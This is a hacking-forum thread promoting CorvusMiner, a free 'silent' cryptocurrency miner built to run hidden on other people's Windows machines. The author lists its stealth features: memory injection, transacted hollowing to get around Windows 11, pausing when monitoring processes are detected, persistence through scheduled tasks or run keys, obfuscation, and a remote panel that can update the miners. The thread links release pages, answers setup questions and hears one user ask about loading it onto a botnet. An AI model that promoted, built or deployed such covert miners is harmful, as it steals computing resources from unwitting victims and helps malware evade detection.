Thread: [CorvusMiner - Silent CPU + GPU Mining \(700kb!!\) - Open Source/Free](#)

socks4 - January 6, 2026, 3:50 pm

CorvusMiner

=====

Information

CorvusMiner is an open source, silent crypto miner. Supports cpu mining and gpu mining
This miner will work on the latest Windows 11 versions thanks to transacted hollowing.

Features

- Hidden CPU Mining + GPU Mining
- SSL support
- Watchdog to detect the miner process and restart if not running
- Memory injection to keep the miner off disk
- "Process watch" to pause mining if certain processes are detected running
- On the fly configurations, to update when needed

Panel Screenshots ([Click to View](#))

no problem at all

MeW11 - January 6, 2026, 6:51 pm

how long you been working on this

socks4 - January 7, 2026, 4:36 am

(Jan 6, 2026 07:51 PM)MeW11 Wrote: [\[CITE\]](#) how long you been working on this been in private development for a few months, posted publicly a week or 2 ago

thanks, the inspiration was just the fact crow in latin sounds cool haha.

Visual elements I wanted a darker theme but I struggled making my mind up between a monero like orange or a dark red to match the logo

socks4 - January 11, 2026, 12:50 pm

GPU mining is now supported:

eth, ethash
etc, etchash
kawpow, rvn, ravencoin
autolykos2, ergo
kheavyhash, kspa
cortex
beamhash
equihash144_5
equihash125_4
equihash210_9
cuckoo29, aeternity

a bug fix was also done for the xmrig miner not giving the ssl flag correctly

Pastebin is now supported as an endpoint.

<https://github.com/laprosa/CorvusMiner/releases/tag/v2.1.1>

<https://github.com/laprosa/CorvusMiner/wiki/Remote-Configuration>

please read the wiki on remote config before trying to use it.

TunnelMoleBot - January 17, 2026, 12:07 am

Heyy, how does the whole loading it onto a botnet work?

socks4 - March 13, 2026, 9:09 pm

<https://github.com/laprosa/CorvusMiner/releases/tag/v2.1.3>

Latest version supports remote loading miner files from panel. File size can now be shrank from 70mb to just under 700kb uncompressed. Probably the smallest miner project out there.

Fixed logout as well

socks4 - March 21, 2026, 4:32 pm

<https://github.com/laprosa/CorvusMiner/releases/tag/v2.1.4>

New version has been pushed. HWID generation has shifted in order to ensure no 2 devices are the same on the panel.

Also improved persistence so if ran as admin with it enabled, a scheduled task will be made, if not standard runkey is used

Phobia_ - March 22, 2026, 5:28 am

Really cool project OP always updates it too

socks4 - March 22, 2026, 5:29 am

(Mar 22, 2026 05:28 AM)Phobia_ Wrote: [\[CITE\]](#) Really cool project OP always updates it too thanks, considering it's as far as I have seen the only open source miner working for windows 11, it's important it stays up to date

ilikecats - March 22, 2026, 11:43 pm

this is the most goated shit ive seen on this website, thank you so much dawg

socks4 - March 23, 2026, 10:24 am

<https://github.com/laprosa/CorvusMiner/releases/tag/v2.1.5>

fixed hwid returning a new hwid each run, on top of adding dynamic process watching.

This is a breaking change. You will need to stop the panel, and delete the old database. Please update clients also in order to get this update

(Mar 22, 2026 11:43 PM)chococat Wrote: [\[CITE\]](#) this is the most goated shit ive seen on this website, thank you so much dawg
Thank you it's my pleasure

OpalCanidae - March 23, 2026, 12:19 pm

Dude I am such a huge fan of all your projects. Great stuff always.

Zoroffm - March 29, 2026, 7:42 am

I'm looking for mining bot

SIM-5323997 - March 29, 2026, 10:38 pm

thank you but After compiling, corvus.exe is 95MB in size. I think I'm making a mistake.

socks4 - March 30, 2026, 5:37 am

(Mar 29, 2026 10:38 PM)SIM-5323997 Wrote: [\[CITE\]](#) thank you but After compiling, corvus.exe is 95MB in size. I think I'm making a mistake.

If you use the pastebin version or don't remote load files it will be. Remote loading files makes it 600kb

SIM-5323997 - March 31, 2026, 11:46 am

(Mar 30, 2026 05:37 AM)socks4secure Wrote: [\[CITE\]](#) If you use the pastebin version or don't remote load files it will be. Remote loading files makes it 600kb

I finally made it. Thank you so much.

Last question: Does the computer need to run continuously and does it require a static IP address?
And api url is right?http://localhost:8080/api/miners/submit/

socks4 - March 31, 2026, 12:46 pm

Last question: Does the computer need to run continuously and does it require a static IP address?
And api url is right?http://localhost:8080/api/miners/submit/

url is right, domains can be used, and if you host it on a vps then it handles running it, if you dont intend to host it you can use pastebin however binaries will be packed so it will be larger than it can be (600kb remote loading binaries vs 70mb pastebin only)

codex404 - April 11, 2026, 8:02 pm

What an amazing project! I bet you've already tested it—and you made it free? You could have charged full price for this.

socks4 - April 16, 2026, 6:55 pm

<https://github.com/laprosa/CorvusMiner/releases/tag/v.2.2.0>

v2.2.0

Embedded configs, if panel or pastebin goes offline, it will use the embedded config
The option when using pastebin to choose what miners to carry, possibly reducing binary size
Admin request
Folder exclusion - Fixed C drive
New Obfuscation + Syscalls and Stealth api resolution (Runtime performance improvement)
Bug fixes.

NOTE:

CorvusMiner's donation strategy is deviating from xmrigh's standard.

Instead of the default wait time of 49.5 and 148.5 minutes as xmrigh does, the donation cycle will begin after 5 and a half minutes, this is due to the nature of the miner, since any detected process will reset the clock on the donation countdown.

As of me writing this, I have made \$0 off this project from donation, likely due to this, so hopefully people understand.

Donation fee is the same at 3%, which means for a 24hr cycle of mining, you will donate mine to my pool for ~ 45 minutes.

Fee can be changed by compiling xmrigh yourself, but considering this product is free, I would hope you would donate before changing it.

sexuser - April 16, 2026, 10:53 pm

I don't quite understand why, in your opinion, other miners don't work on Windows 11
I would really appreciate any information

socks4 - April 17, 2026, 6:28 am

I would really appreciate any information

Windows 11 build 24H2 made fundamental changes to PE file memory and how it's handled. there

are now 2 memory sections, MEM_IMAGE and MEM_PRIVATE classic RunPE stores the executable within mem private, which when it tries to run, windows will terminate the process with a specific error code.

Transactional Hollowing counteracts this, and so it will run on both earlier versions, as well as the latest.

24H2 came out in late 2024 I think? Hence many classic miners won't work.

<https://github.com/laprosa/CorvusMiner/releases/tag/v2.3.0>

Major changes such as remote update capacity for panel users, when a new update comes out, you can build, and upload to the panel. Miners will detect the new version and update themselves with it! Note that this not an "auto update" for any tools, it is controlled by you alone.

The GUI builder made me crash out two or three times, however it should be very streamlined in setup and use, GUI is not my thing, don't ask for improvements visually. Powershell windows will flash, they're checking and installing dependencies. Read the code if you like, it's basically a wrapper for the build.ps1 file anyway. Check wiki for more detailed instructions
